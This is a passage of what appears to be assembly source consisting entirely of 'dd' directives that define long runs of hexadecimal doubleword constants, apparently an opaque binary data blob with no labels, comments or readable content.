		dd 85540B06h, 74000117h, 12B88A2Dh, 4441D0B6h, 0BC247803h
		dd 4E183EA8h, 38C7CA0Bh, 61292060h, 58451401h, 11DB62C0h
		dd 84A6D8h, 7F810133h, 4E3999ACh, 0A9F7FA50h, 0B8F7261Ch
		dd 96076B2Ch, 8B00A77Ch, 0F2A84F66h, 27F0002Eh,	8E88BBEEh
		dd 610108E1h, 0ADAB1CE5h, 0D0F06494h, 9BCF30C1h, 47C0A821h
		dd 61BC9F07h, 29F26826h, 532613Ch, 6E6DE4h, 0A8403DE9h
		dd 702C3BBh, 694F3000h,	7C5ECADCh, 4E9A00BFh, 64FA0F2Fh
		dd 3E26A14Dh, 0F00E4070h, 0BA3F604Fh, 0E45BE7D2h, 0A61F0172h
		dd 0AE2DFDBFh, 2CB47442h, 0C2000773h, 0E3ADC3CBh, 48D3EDh
		dd 0D47F5CCAh, 8EB203F6h, 84681205h, 802FE6Dh, 0E0D7C256h
		dd 141F068h, 0A14AE6A5h, 411B937Ah, 949F03F7h, 0AD4960h
		dd 1F0F500Ah, 0E81745C1h, 92C0E9B4h, 4C44A042h,	977A0388h
		dd 9DD43D65h, 939E0802h, 0F0BC321Fh, 951014ECh,	4C3D2CA7h
		dd 1AA4A887h, 5E9240AAh, 9700A6D6h, 1126B409h, 760B955Dh
		dd 0C520C33Ch, 38007C5Fh, 7D91CC9Bh, 0A047933Dh, 60B93140h
		dd 521A2079h, 0E5390FA9h, 3D72817Bh, 9E8D9512h,	0AFA47980h
		dd 0BA329BA8h, 0E27D4CA0h, 0F77B600h, 55E5E7E1h, 6C5A38F6h
		dd 0BFD84300h, 794F1E15h, 46A45700h, 78CC7A80h,	0CB3A020Dh
		dd 301803DFh, 5B91C1C0h, 71FA2D00h, 0BFEFE175h,	6C0A0064h
		dd 0C2868E5Eh, 7C03D010h, 0F96E9511h, 23438839h, 65F00E0h
		dd 624BABB3h, 42007A24h, 756DFC81h, 144907h, 8798CC60h
		dd 534582F9h, 6206DC1Dh, 7397EB87h, 50B6C530h, 2A7A0003h
		dd 81800CC1h, 43004D48h, 0A8A0B93Fh, 15BDEBh, 9E496124h
		dd 52E33427h, 9B113800h, 0D9CF9622h, 0C0540AE6h, 9EB4E4FAh
		dd 0F2EE04CAh, 0BA60B813h, 7A15A60Ch, 0BFFC0F10h, 9A372300h
		dd 0BC87EDD7h, 78B798Ch, 8532FD9Fh, 808A8553h, 0DBBF9B52h
		dd 0A4F94707h, 6EA12DF8h, 6A64FCD4h, 11B6072Eh,	1716A2B5h
		dd 0E529F308h, 0E6CDA6C8h, 0BA57CCFFh, 83A8673Fh, 2DA02AEAh
		dd 5D2FE0D9h, 0C856006Ah, 0BA29D16Bh, 193D2301h, 59528594h
		dd 0C31F5348h, 0E67FD800h, 0EE0B58h, 322F14EAh,	1EC3A5ADh
		dd 37BBA605h, 0C000E2DDh, 59483169h, 0D96700F6h, 95276F90h
		dd 30C038AFh, 4863A34Eh, 46F900E3h, 6ACAC374h, 717EF816h
		dd 89E92300h, 5ACC1B4Dh, 7F431691h, 3FA100BCh, 0E5E30197h
		dd 0F8CD2805h, 90C716ECh, 65E2D150h, 26217DADh,	12081Eh
		dd 0C5978182h, 641CC273h, 551C4D4Ch, 39E3DCh, 7ADA04F6h
		dd 2416E4FFh, 15B6C0h, 0B059E0ACh, 25B8FA34h, 0A4290160h
		dd 0D9C19Bh, 9F2B7F45h,	710B56A3h, 2DE45807h, 22371D63h
		dd 73AA44C0h, 0F0B10564h, 1832C8h, 0D08ACFB8h, 0ACFEC70Dh
		dd 2DDA0200h, 64E8EF70h, 14A4171Eh, 0C2F42044h,	0A06EDADh
		dd 0C51B792Bh, 398D0340h, 0C4B7B1EBh, 0ABD01000h, 0A426AFA5h
		dd 0E6AD7E71h, 58BA4Fh,	0B714089Bh, 0A7E7A0E0h,	21A3BA00h
		dd 700BBC05h, 0A1F879h,	1196312Fh, 0D6D2CBAAh, 99EE7C00h
		dd 0AB147502h, 2A220939h, 2C80D4D1h, 3CD51F7Eh,	0CA8DA203h
		dd 0A86FFC86h, 38896Eh,	0EA3E9B0Eh, 368332A8h, 44ACC600h
		dd 0B90DDC35h, 7B1A0063h, 46BE19C0h, 0E7006801h, 0EB6EB26Bh
		dd 508370D8h, 1BBC81Ch,	1A6650F1h, 0C4D125E9h, 57008E0Fh
		dd 5E237D4Fh, 346DFAAh,	737143F4h, 0E900DBD2h, 0BF16726Bh
		dd 2107B8h, 8F253875h, 1BAAFE69h, 0B9DCE303h, 0DAF1410Ah
		dd 319CE0A7h, 190D005Dh, 6A1082FEh, 4E00F7BDh, 4CCD2FD7h
		dd 91583Ch, 2711CC2Eh, 0EC402A02h, 8DE66207h, 0E480CFE1h
		dd 93AD4Bh, 79DC21E2h, 480B81F6h, 9AD7B203h, 0C5B81241h
		dd 0ACFEE440h, 2E8886h,	0C59C76AAh, 3624D983h, 14952F0Ch
		dd 2B7CD4h, 3E5CFABh, 8362E90Eh, 4F762A12h, 8889D441h
		dd 0DC403D49h, 0B4D0AC86h, 0FB0400CCh, 0F0C8F411h, 59749100h
		dd 8BA6364Fh, 1CE12858h, 0DBAD00F2h, 279B8156h,	0FA7C7B15h
		dd 9D0D710Fh, 60202CC4h, 16B290C0h, 3DEAF1h, 0D85F1596h
		dd 3000E062h, 358D8A87h, 7872FDh, 8B608691h, 6F0F2B3Dh
		dd 0B0044305h, 8847BE2Dh, 9C6109C8h, 3D5DA49h, 0D60BECh
		dd 8F171B3Bh, 0F2788D7Bh, 1019B933h, 0EC18092h,	0F70100EAh
		dd 18ACD355h, 41015875h, 0DC152F38h, 0D2E8921Fh, 78340061h
		dd 0E21ED66Eh, 62F00C93h, 52007076h, 96110FFEh,	1CB98A04h
		dd 7DEDFAh, 2376E9E5h, 0C30AE2E7h, 9CCCC40Ah, 5EA59587h
		dd 8799D0B0h, 30E11C15h, 1D598058h, 0FCC92547h,	2D4AA800h
		dd 3250CF6Bh, 0A10600C0h, 0EDB28A92h, 6A00CE0Ch, 0DD617DDCh
		dd 506930h, 0EC32B152h,	0DBF3BC6Dh, 913C282Eh, 58DB622Dh
		dd 15FE8Ch, 6CA3129Fh, 9236BF9Eh, 33557D03h, 0F4ACD6C6h
		dd 0DD28F480h, 43D40CF3h, 0E110BA39h, 44DF3600h, 0E0C5B1B2h
		dd 0EC8902B4h, 5711B934h, 54ED2460h, 0B0776907h, 13F061B5h
		dd 3AC893C9h, 0DC873DBDh, 0D4126392h, 5C1C9091h, 0F8009C11h
		dd 4F9871C4h, 1E74A77h,	0B537B2B6h, 0F011D3B0h,	8C075406h
		dd 0D8957AEDh, 0C5A3DA10h, 0FA2600A2h, 9179246Ah, 0D4705540h
		dd 7C8D3200h, 0F36B9C05h, 0D53B01DFh, 25C0611Ah, 527A70FCh
		dd 4ECBF601h, 12847615h, 0EE9D3D0h, 47A01351h, 636A85A0h
		dd 0A40003BCh, 4D754ADCh, 0B4CC42h, 2E6DED37h, 0ECC7B20Fh
		dd 97945007h, 43B051B0h, 0E526E45h, 0FE72DCBBh,	5BCC1080h
		dd 7C00EC83h, 490C96BDh, 1BE45Fh, 61A732DBh, 0EED0E938h
		dd 77FBB400h, 0AE1474F4h, 0E4C800C6h, 0E1FFE86h, 6F0A9206h
		dd 0D68E09DCh, 85A48B00h, 0F01EAAh, 49BE43F5h, 0F160BD98h
		dd 885D6100h, 0E17D54C5h, 0DCA2008Ah, 55F622EBh, 0B008C48h
		dd 2B212EC9h, 0FAA71E0h, 4BBC584h, 39FCA5C2h, 207DB061h
		dd 731C3BD8h, 71C1D2F9h, 0F1B03720h, 0ED234880h, 5421B7BEh
		dd 6D67A607h, 313074ADh, 539AC4h, 0FF2471A7h, 1499392Ah
		dd 0CAF2C500h, 0F6A0333Bh, 0B6A246Bh, 562F0090h, 406DAE3Ch
		dd 8C0E9C00h, 685245C8h, 0EDE50E31h, 9680B83Fh,	0B5A74137h
		dd 5000F75h, 8A3AE01Fh,	1D6CD318h, 0CFF02909h, 5420451Bh
		dd 9935470Dh, 8CEBC400h, 0A5D62441h, 0F8C812E1h, 8DB86Ah
		dd 0F14769C9h, 738B02BEh, 0C4AF261Ch, 395DA8E0h, 0F74E66h
		dd 0D86D9FDEh, 0D535292Eh, 0DD6BCE00h, 34545694h, 0BE9700D6h
		dd 1B2EBD12h, 7C00B9D3h, 632FA079h, 0B43A20h, 0B7D66D75h
		dd 0BFCE8178h, 0F935170Eh, 7D65A67Ch, 1264F071h, 88AA4C42h
		dd 973630B8h, 4A1120ABh, 32FC7292h, 97DC220Bh, 0EEC507Dh
		dd 6E9E4095h, 0F4E3409Fh, 15243296h, 0FFC029DFh, 7884D63Ah
		dd 89BC0020h, 93B826E1h, 0CA353913h, 7E804091h,	54B43142h
		dd 0EB61C0Eh, 0A130840Bh, 0A78BA5h, 0C2AC2908h,	1F121647h
		dd 4C8BDC6h, 0ED18080Dh, 0A6608E7Bh, 0DB7ADCh, 0DE13D648h
		dd 1EB89054h, 0D596707h
		dd 605ECC0Eh, 615A82E4h, 27A04h, 0FAC55C37h, 681FC38Dh
		dd 21000DEEh, 0AD16EE25h, 0D42646h, 632E2BE6h, 0FA486AAAh
		dd 6E18C007h, 0F8175AF9h, 9EDD3860h, 6F7C002Ah,	708FFA4Dh
		dd 0FB00A6D7h, 0DBA5C576h, 7AD82h, 0ED3C185Ch, 0F40FA7E0h
		dd 8316A207h, 6E07E0Ah,	39758D9Ch, 3900F96Ah, 0E602BAB6h
		dd 0FB00B003h, 811611Ch, 0A069DA09h, 0BCA681h, 0E1CB1DDBh
		dd 0FB8BCD47h, 0B2067900h, 285C2AA4h, 0F3E40016h, 8D4C5B84h
		dd 0E8002C7Ah, 51791006h, 1460496Eh, 0E058E359h, 7FE8C880h
		dd 1D741753h, 4754BF00h, 57AEA876h, 94710FE3h, 0F420D64Ah
		dd 0C7130942h, 18A0B024h, 646D3B8Fh, 3AC01AA9h,	583A33CCh
		dd 2165B3A8h, 93EA800Ch, 8377467Eh, 396DB601h, 69ABFC7h
		dd 1FFB8880h, 0EE03CAEh, 1F4B9058h, 700B58A3h, 0D62800BFh
		dd 49449904h, 0B000007Fh, 0F6F28BBCh, 9D19ECC6h, 1708C843h
		dd 0D07C092Bh, 3C0E2500h, 401E8CF8h, 7B4733C3h,	0AB10FFCBh
		dd 24FE8FEBh, 4144E041h, 0EF5E4604h, 0D089086h,	182AA29h
		dd 0EE899A27h, 0A8003BCCh, 0C1BF3669h, 1A372E45h, 1FDF0E02h
		dd 0C0E0658Bh, 0BF16300Ch, 5000A40Dh, 0AE18983Ch, 9A4007BAh
		dd 10EA248Ah, 0A850FF7Ah, 60FA4980h, 1F47D978h,	9600EF30h
		dd 0D9A26F4h, 118689h, 5B140EE3h, 0B4805A25h, 0F7F3A800h
		dd 94F98EEEh, 0A48C0785h, 104FFE3Eh, 443849C0h,	873B6A2Ch
		dd 0CCC0721Fh, 0BDFE1986h, 57FB031Ch, 18E69364h, 0ABE0A1F3h
		dd 6C004043h, 1F6FF907h, 0AD01BBh, 883CF2A7h, 344641D2h
		dd 0F8668C03h, 0F07A5175h, 0BBCA23h, 0BE1638DEh, 0A1626FE9h
		dd 0C7B98201h, 0B7566A53h, 0F9B5ECh, 352AD04Eh,	757EC085h
		dd 0D30C1E00h, 26346AFFh, 55E601BBh, 0CD6B4F0Fh, 43DAE445h
		dd 5EFFF000h, 6C907D50h, 7F92309Bh, 678DE818h, 638220C0h
		dd 0C428EC06h, 0C0427A31h, 3937E2DBh, 9F656E00h, 62A7C870h
		dd 5F67002Bh, 55A6E010h, 317649CEh, 0B48014A7h,	0A0E46357h
		dd 61806572h, 0B2043E82h, 0C79435Fh, 0C19DC310h, 4E011B18h
		dd 0B8CDAF04h, 57FCDFA3h, 4A450058h, 50C37CEFh,	0E306FDEEh
		dd 0AEFA511Bh, 0E7F72028h, 6BCF4A00h, 2EC2496h,	0C440167h
		dd 2CE9201Fh, 8941C881h, 27BD2600h, 718D5A5Fh, 3EB800A9h
		dd 0F895C438h, 2100D7DBh, 1529F333h, 809B4Eh, 60E75B88h
		dd 65956AD4h, 9100737Ah, 436CBFB5h, 73C3355Ah, 0D18700D2h
		dd 59F98BCBh, 0C9006149h, 60C6B686h, 757A9712h,	2CA21DEAh
		dd 6F8C4067h, 0C94E8AABh, 4B88EC1Ch, 51568280h,	26686C09h
		dd 1342693h, 0C144E8C3h, 0A93DF8ACh, 0A807BF01h, 0F51E9FC7h
		dd 1C6B4D0h, 0AFAD1B9Eh, 209D24B3h, 0DD0064EDh,	3D5CA819h
		dd 0F88D76h, 0E8716597h, 9DDE44CEh, 3E79FE03h, 0A8055D22h
		dd 0C61A80h, 21EC3B75h,	0FDAC26B9h, 0B5001E76h,	0B102EA7Bh
		dd 8D9EDAh, 0F0DBA890h,	3FF1755Bh, 697BCB00h, 0C6DA99EFh
		dd 7D0D00D1h, 0F602334Eh, 5FEAC76Eh, 1F00FCF4h,	435D74B6h
		dd 46F03h, 0FACCE7CDh, 35568C84h, 7C32F00h, 47401D58h
		dd 97180EEEh, 0C0DD983Ah, 539E6633h, 0EB00CBC5h, 96308E72h
		dd 0F59DBE7h, 2164FE42h, 4C3F39A0h, 200F0826h, 0D291870Ah
		dd 8D5B2C06h, 711B1F30h, 0A1A8402Eh, 7093CB2Fh,	0EC1EDCE0h
		dd 820311DFh, 0C0AAD5B7h, 0EBF5A7h, 0A0982558h,	0F0CCC660h
		dd 0E14902E2h, 85A43CB8h, 0E4B10782h, 0B6FCD400h, 2C9A8A98h
		dd 83ED93h, 0A13D5752h,	70C0119Eh, 0F3F2BBF4h, 5919C042h
		dd 1CFE7BE7h, 98C9AD00h, 58476034h, 491E00BFh, 0D5A444D6h
		dd 9F005581h, 0C8DB5494h, 71CC4Dh, 3504F8D0h, 0E1EDB62Bh
		dd 6A001A7Ch, 586C2F4Eh, 607F12F5h, 2429106Fh, 7E00A5D9h
		dd 70B0D5DDh, 514CB5CBh, 8FD48CFAh, 65281295h, 61544046h
		dd 0A4AB2723h, 0D05B5200h, 0B443EBEFh, 0B130CB3h, 51B83F71h
		dd 40310109h, 8DD88064h, 3174444Bh, 242067A2h, 6F19D8B3h
		dd 0EE11320Eh, 0D4CFA0C9h, 0FAD5EAC2h, 77E4A093h, 36E40013h
		dd 84D77B90h, 7D1E112Fh, 41AE31C2h, 7F996900h, 0B3A0FBh
		dd 26613B0h, 7B2D88A3h,	0E6683A03h, 9869F13Fh, 4C04CFAAh
		dd 57001CEEh, 0CA4D479Fh, 0B3B044C6h, 256DD480h, 94D448h
		dd 0BD82F64Eh, 37B2AF2h, 0F3D3AC36h, 21392FE2h,	0FE69808Ch
		dd 5BF586B9h, 776F16DAh, 5BE0015h, 1E251682h, 1DA2F58h
		dd 494BCBCDh, 34248A40h, 0FA018EE6h, 0D6E8C426h, 44491CD4h
		dd 665DE8h, 0A02F3EBCh,	0B37203DFh, 259518C0h, 218C302h
		dd 33F37DACh, 848FBA1h,	0E209A39Ah, 76F0E57h, 0D1A0655Ch
		dd 4E95DEh, 217AAFEh, 5CEE1F1Ah, 276D0500h, 61C5B25h, 47FA007Eh
		dd 42777415h, 6724F465h, 897860CBh, 71DE30C6h, 5FE16690h
		dd 60562A18h, 771DB0h, 5029B03Ah, 5C252D71h, 5D009877h
		dd 4E137238h, 508EECBDh, 2070CC68h, 7A1CF020h, 0BA03C2D1h
		dd 75BD54B2h, 0EFB809C1h, 8C30BCF9h, 3801A99Eh,	34021F67h
		dd 62311E16h, 0E6505057h, 74F2B26Ah, 0A6630799h, 8475B92Eh
		dd 0E9D480BCh, 5200ADEEh, 0E35F1AAFh, 9EFD1h, 7FA9F351h
		dd 0BC89B528h, 0F700E679h, 0F8DCBDBEh, 187157A4h, 805D69EBh
		dd 0AF0B6B7Bh, 8DB40A7h, 900C850h, 0D95EB61h, 7FFA133Bh
		dd 3D49001Bh, 0BCFB2BC9h, 25350709h, 0E36F00CBh, 5E7632h
		dd 0CC1DEFA7h, 50D2D4B6h, 60C280F8h, 85A897D0h,	0D8004FFCh
		dd 0F7AE6F51h, 8BC4A0E2h, 30BF72EBh, 0F0D096E0h, 3F6B5BAh
		dd 88153200h, 388FEF75h, 2B700009h, 2819CF98h, 8D60AD81h
		dd 0F235F6B1h, 8B3A060Dh, 0D95BE6C4h, 8D086907h, 109CED37h
		dd 9FC30061h, 0C5C95F74h, 470094F2h, 1E921742h,	7C71DB5h
		dd 0CD563958h, 54B61325h, 2E6E63B8h, 61AA3600h,	0E90F7C1h
		dd 3DD9735Ah, 82028E4Dh, 0A0921D7Ah, 0E8A06C47h, 84E3E500h
		dd 4459C0E6h, 7D5803D6h, 56283329h, 62639800h, 7CB56B75h
		dd 467B013Bh, 0B759FEC6h, 0A7E095D9h, 66E70ABCh, 0AE00F644h
		dd 0F3C70710h, 4470051h, 49227BF0h, 6E2673F4h, 3E5800CAh
		dd 1DEE00E0h, 0FA112ABEh, 10010D20h, 4B41FCECh,	48E489CBh
		dd 6090491Bh, 87017F21h, 0B8477CCCh, 2CA04EE6h,	0B05D1Bh
		dd 200C0DD0h, 233BCD6Ah, 12948287h, 61A44E32h, 889C790h
		dd 0A0002BCCh, 5E4709A2h, 7A709548h, 1CF88F3Bh,	8CA482A8h
		dd 73D1CA58h, 2CF10355h, 6FDC0235h, 6BC3E4D0h, 3EB93D00h
		dd 0D2F50314h, 8FE4CB0h, 0BEFDC700h, 9080DE29h,	60E68C00h
		dd 1BED6550h, 0F0313A36h, 12C2CF81h, 0E458A5C7h, 0CE03C855h
		dd 34A0F2B6h, 3F9FA041h, 841A3391h, 0D1EBEA88h,	72B529C8h
		dd 4501B27Bh, 7AC240C1h, 98C4533Ch, 9EDB00B9h, 33716170h
		dd 0CF3F01EBh, 0C9CA001Bh, 0BE394110h, 0A72C4CF3h, 2B400074h
		dd 34E29B96h, 920F354Fh, 0E0FF8F26h, 487DD1BBh,	12C80018h
		dd 0A7B66CD6h, 85000C2Eh, 0A9571698h, 2DF22DDh,	0B05FD2D0h
		dd 2C5039E3h, 0B0180D24h, 0D5C27084h, 51E0080h,	3F27002Bh
		dd 0A418C9BEh, 7C00C088h, 5C7D449Eh, 62A9BFh, 9A9813A7h
		dd 6BE91DA6h, 0FE2AE600h, 0B450487Fh, 0E09E07C7h, 40071333h
		dd 0EA6C8937h, 17C9A118h, 963E71h, 0F89D7DDDh, 14CC7205h
		dd 852BA900h, 364D1ECh,	2D4B0057h, 28989B81h, 211E140Bh
		dd 0F700846Ch, 0FD3078F1h, 663B005Ah, 0C29C04EDh, 0A00087F4h
		dd 849211FFh
		dd 0ABFEE2h, 0E4990A72h, 10F79DFDh, 55607E67h, 721D508Eh
		dd 0BBDE0045h, 1B75213h, 1216BC94h, 0F422FC00h,	90E74D90h
		dd 1C85E260h, 960913h, 8E55192h, 704E066h, 0CF782A38h
		dd 6A4A5080h, 0D0760A2Dh, 89B47E5Dh, 38AE3686h,	0D4A0F689h
		dd 63AB25B9h, 8BA70A01h, 294871E6h, 8AB03082h, 30C8E5D1h
		dd 9201E18Dh, 21318E34h, 19803C49h, 170FDF05h, 0AF5CA1F7h
		dd 0AD230E10h, 0F9E081D6h, 0DC20BD1Eh, 0C2090780h, 0E0D119E4h
		dd 925D6F1Dh, 2C68740Eh, 0DA528198h, 8B40E059h,	0F68ED7F9h
		dd 0D6709FFh, 2CA378F8h, 0C91E3156h, 26803602h,	8717BCF4h
		dd 0F08CA3E6h, 92C60E2Ch, 0E3F33820h, 14692482h, 2460B1E9h
		dd 0D9E52977h, 60464FEh, 4A02C87Bh, 0DA4C3276h,	0CA6C6924h
		dd 2F2EC9FBh, 21B8719Eh, 7259F218h, 55BF3070h, 87F8F030h
		dd 4EF42A1Eh, 0B98E2C0h, 4AC467F1h, 645C01CBh, 0A41697E7h
		dd 0DB8270DAh, 0E1F61A9Ch, 98299618h, 8500A894h, 21040EA8h
		dd 0D6096B79h, 0B8BD80DCh, 8CDB3CB4h, 1D037098h, 0C418D5A2h
		dd 1EE3F9ADh, 2BB87C0h,	129D13FEh, 5B4052A3h, 2C038480h
		dd 0DC017F6Dh, 0D197A0C2h, 1A8B90Eh, 0A37853C7h, 19A43080h
		dd 30710B9h, 0EAA2D189h, 49A868EBh, 35E5843h, 7E4462Eh
		dd 45483B0h, 74B98028h,	0F1F6D195h, 0E5DB9602h,	0B0DE47C2h
		dd 1763CDCh, 0D168059Ah, 82292336h, 326C2019h, 7F32E0C8h
		dd 7180F7EBh, 74CA4948h, 0E548611Eh, 0B86919h, 0F06305B0h
		dd 3C991DCFh, 57370039h, 0D1BE58F2h, 313ED09h, 0B2EC8201h
		dd 24E452DBh, 8908AE36h, 0D8A04F73h, 746E104Ch,	0CC130F03h
		dd 0D05853EEh, 0C0F2E02Ah, 0AAE2A440h, 0FB003E89h, 531AAE77h
		dd 2CCBF784h, 0FA6AABh,	12EB0B82h, 0D900D8A0h, 0D1552565h
		dd 93DFFh, 8FC8CAD7h, 8B1558DFh, 27E4DE00h, 0EF100C5Eh
		dd 0CC2100E8h, 8EE98211h, 7476EA84h, 0F5E3F8C0h, 41B9E28h
		dd 59A01EB5h, 16C8C06Dh, 0B100D067h, 0B4E49AC4h, 48E80257h
		dd 0F48B84C7h, 0FCAD58A0h, 337E2DC0h, 2E699100h, 8F24F19Eh
		dd 0B8E80079h, 7EED83Eh, 9F3BF6E2h, 78A500FFh, 1926E9F8h
		dd 83EC0099h, 1D4C6527h, 83A012C1h, 0CCE65571h,	0BA8BDD00h
		dd 0D8607C08h, 285A0041h, 0A9DCAA66h, 0A00E1475h, 0A0E67293h
		dd 15DB0552h, 707CC3h, 805769DEh, 55F553DAh, 608BBA00h
		dd 0A5FC2BF1h, 0C0D3A34Fh, 4925Fh, 4E783C42h, 0FFAEEB85h
		dd 100807Fh, 1B5EA3ECh,	0D11D88h, 0AF3CA9FCh, 79E05751h
		dd 2C20B200h, 7BB9A6CAh, 28AB073Eh, 708EFBACh, 6CD2721Dh
		dd 150BA700h, 2E219298h, 168D0537h, 90F21B05h, 486BAB00h
		dd 8A65C300h, 0C6E7801Ah, 9CE900A3h, 86D1D225h,	0EF078485h
		dd 0BF193474h, 0D0596530h, 0FF271DF7h, 0FE8DDBDh, 8AA37855h
		dd 7DF33FC1h, 0A5F55E98h, 51A6B03h, 0AA424483h,	0C9C1C0D5h
		dd 186A603Dh, 1F51D193h, 2D010779h, 19BEAAD4h, 0CAF8453Ch
		dd 8EFA0EA7h, 38207EB3h, 0B7A9042Bh, 10D3FD03h,	88D5CF73h
		dd 3AB8F60Ch, 9480626Eh, 5304D72Eh, 0A5007793h,	70FF18B1h
		dd 39BAEDCFh, 0CD039A6Eh, 0D2CE9834h, 24B8A100h, 20B18E02h
		dd 0B740057h, 1F64D63Eh, 0DF002E23h, 0B39AB2CAh, 7FE670F5h
		dd 306B07B4h, 56F478h, 0FF4D3B58h, 6F398E7Bh, 0BA007F14h
		dd 0ED3FCAFEh, 7DFDAEh,	52E53CF9h, 8BF3B3BEh, 40400626h
		dd 0C0CA0Bh, 6310948Ch,	0E84E38BBh, 0B3BF058Fh,	843D0C00h
		dd 2C00BC28h, 0A34D5011h, 0F4FF1A68h, 2BE61Ch, 0C7CCDF9h
		dd 0B2B9A064h, 13BD7B58h, 7600F3DCh, 95F4DBB1h,	3CC9AD7h
		dd 0ED56B6C2h, 0EFF0218Ch, 311C939Ah, 8901A6C7h, 0D791482Bh
		dd 1880FF21h, 576E9597h, 3E1337A8h, 17009CAEh, 6B3998AAh
		dd 814C0016h, 8251FD34h, 86077A08h, 6295DAF3h, 66150AF0h
		dd 0D0FBF32Dh, 0D3E317h, 0BD5C2F20h, 0A94E816Ah, 2C2B8B3Ch
		dd 4D002CBBh, 977386C8h, 23C401F7h, 30DDA5E1h, 1CDB2055h
		dd 510C1101h, 4F81F37Dh, 0A0F73820h, 2CC778D7h,	3ACDCDAh
		dd 16ABBE07h, 0ED7C02B0h, 0D8CC2B00h, 4FE8B81Eh, 50B82Ch
		dd 82533409h, 6C26AFA8h, 8D0160F5h, 4D2E8400h, 1293BA8Ch
		dd 135619C0h, 0ECC620D3h, 3200C8ECh, 795F1AFBh,	1D9F9C7Eh
		dd 3F5B0DAEh, 13D184A6h, 0BB190057h, 0F59E6B77h, 0B61C9A0Bh
		dd 0D58EB0h, 43D9B1C4h,	36031DE5h, 561F00A9h, 410CC5F1h
		dd 5C10D260h, 1E347h, 0D1DDB38h, 0BA733ACCh, 0E356A926h
		dd 8B7C3200h, 131CA4h, 9345C3E6h, 22E0A01Bh, 0AB3D360Fh
		dd 0FAB58447h, 0D379D080h, 9D3F0082h, 0CD2F1C89h, 973E6972h
		dd 183800Ch, 962DD975h,	0FBA43CCCh, 0ACBB4A05h,	6993C01Eh
		dd 0C5009B49h, 847F6705h, 21E9A5h, 0B9C1F25Ch, 0C973FBDFh
		dd 5AE37101h, 0A34ADD19h, 3342060h, 9CE4B51h, 0EAF85E78h
		dd 0F0006E38h, 26CA1A83h, 9B51CFh, 248E5BA6h, 760B8C68h
		dd 504D441Dh, 0ED331E40h, 0B0B3A4F2h, 1C6401FDh, 5B77852Ch
		dd 1EF88088h, 0ADCEFCAAh, 7940468h, 0C01031F1h,	0E727B2F1h
		dd 0F49BD605h, 68C0DC54h, 505B7Ch, 4B770A3Eh, 8922385Ah
		dd 0A67E023Ch, 0E1002FC1h, 0EC84EE76h, 0F20C1E42h, 6CA20040h
		dd 0CE6080B5h, 8097703Ch, 0D12F2B31h, 0E18315h,	906DB20Ch
		dd 73799A82h, 5A5EEA03h, 0B85992FFh, 2AB0D8h, 57C03A0Fh
		dd 9BCFD531h, 1B2D201h,	5B59D432h, 804662F2h, 0F71F4D8Ch
		dd 0D6460928h, 5002D0Eh, 0F0EB9811h, 7C356D00h,	0F7814972h
		dd 0D0BB014Bh, 5AA58F86h, 8037E0B4h, 9160251Eh,	341AAF80h
		dd 2B9485h, 0E77264A5h,	0FF99E9ACh, 0C55B2000h,	8F2E3981h
		dd 552E6FDh, 5AB3AF48h,	4354A09Dh, 0FE94DB01h, 9EA7BC12h
		dd 18AD46h, 0ED850408h,	0AB447E5Dh, 844D1209h, 87DC40DEh
		dd 4C29C006h, 80361C5Ch, 421DB174h, 3ABE11EAh, 0A5007C12h
		dd 878118FFh, 72BA09h, 555D6928h, 0E1E65BA4h, 803A573Ch
		dd 830B46A9h, 85C25h, 65447B9Ch, 5B0E31E4h, 7501D572h
		dd 434E0B61h, 7887BEE1h, 0F11C7912h, 817C7D05h,	325DF0C8h
		dd 91F05908h, 24C80F93h, 3900C735h, 287B60A0h, 1F721600h
		dd 0DEB23379h, 8641001Ch, 0AEF17E99h, 0F0065D7Ch, 0DDC46DEDh
		dd 0C6900E9h, 6685FB59h, 3BE86137h, 0B10E087Bh,	803A124Fh
		dd 79FA4E27h, 0A8561EC8h, 7CECC002h, 6FD60EE9h,	0FF84E600h
		dd 3BCDAF0Ch, 0A13C1580h, 1000BC23h, 0B959E4Ah,	719FF6Ch
		dd 290841A4h, 0BB21ACh,	0C28FD29Eh, 0BB5F1EA6h,	232BB040h
		dd 1EF83521h, 40F60B44h, 3146143Bh, 0B93FA573h,	9480807Ch
		dd 5A928A7Fh, 3DE70101h, 446C9055h, 18FF08D6h, 18788C2Eh
		dd 9900DC0Ch, 745A9309h, 2AF04495h, 8470DAh, 0E7228FB3h
		dd 0A0B79607h, 82D3B028h, 0C1E87C00h, 9D8B6C92h, 699B1403h
		dd 8281C8F2h, 805A4DB5h, 0D31D11B9h, 57CC093h, 4FC47EE5h
		dd 0AA8C446Bh, 9E48309Bh, 3C0B238Bh, 0B0012A11h, 0E4A09E50h
		dd 9479D865h, 7AD4E800h, 87BEC5BAh, 98FEB8BDh, 0EBD8C06Eh
		dd 1EE58038h, 6A979B00h, 50C0D6CDh, 819900F7h, 0FE35F30Bh
		dd 0EFE00E3Eh, 5DC7801Ch, 0C0A3F14Eh, 2206B154h, 923812C4h
		dd 7E910909h, 76858580h, 8100A4A1h, 5D16257Fh, 0F4375Bh
		dd 0CB9C7C61h, 0CFA2C89Bh, 0B140680Fh, 91D6FD05h, 7EDBFB03h
		dd 21DC03A5h, 0DDE50138h, 0E8A273D0h, 0D6A76400h, 7C9DECD8h
		dd 2F563863h, 1DFF1CF6h
		dd 1B6DC79Fh, 8491A0C6h, 130028FEh, 90A9FD99h, 0D435B7h
		dd 0BE53A554h, 0C1AAB988h, 9F006178h, 8BD6817Fh, 0EEACFB5Ch
		dd 545A1C10h, 2BFC4E85h, 0BBC0109Ah, 0A63A97B9h, 1EDF8CEAh
		dd 60C308D2h, 11712086h, 290194B9h, 389FE1CBh, 0F4E87014h
		dd 60FAFC75h, 93929A1h,	0CD00BD64h, 0ECD7456Ch,	0C8580FCBh
		dd 0DEC0A070h, 46A5ACB9h, 0FEBF22D2h, 2EB90016h, 725F5D4h
		dd 18C00822h, 0E758A69Eh, 2A28C09Dh, 6149261Eh,	6EAC5C01h
		dd 0CF20228Eh, 7BF1D171h, 0B5863080h, 950D8374h, 4418457Ch
		dd 10180E58h, 0CE7292h,	0C0828476h, 3F622C93h, 78F7F21Ch
		dd 374BF40h, 1D4EDCDh, 776E8E83h, 21D997F5h, 807FDDA9h
		dd 0ECA1B061h, 784FB17h, 0AD93124Dh, 5B14434Ch,	31352000h
		dd 0AA4BE3ECh, 0E8B0017Ah, 56FB63F5h, 0D0C98FE1h, 0B4B409Bh
		dd 3ED90D5h, 0FC082D19h, 200AA979h, 8014117Ah, 2BBA80BAh
		dd 0A018A165h, 49A70072h, 5F9FFF34h, 12057992h,	8FF47881h
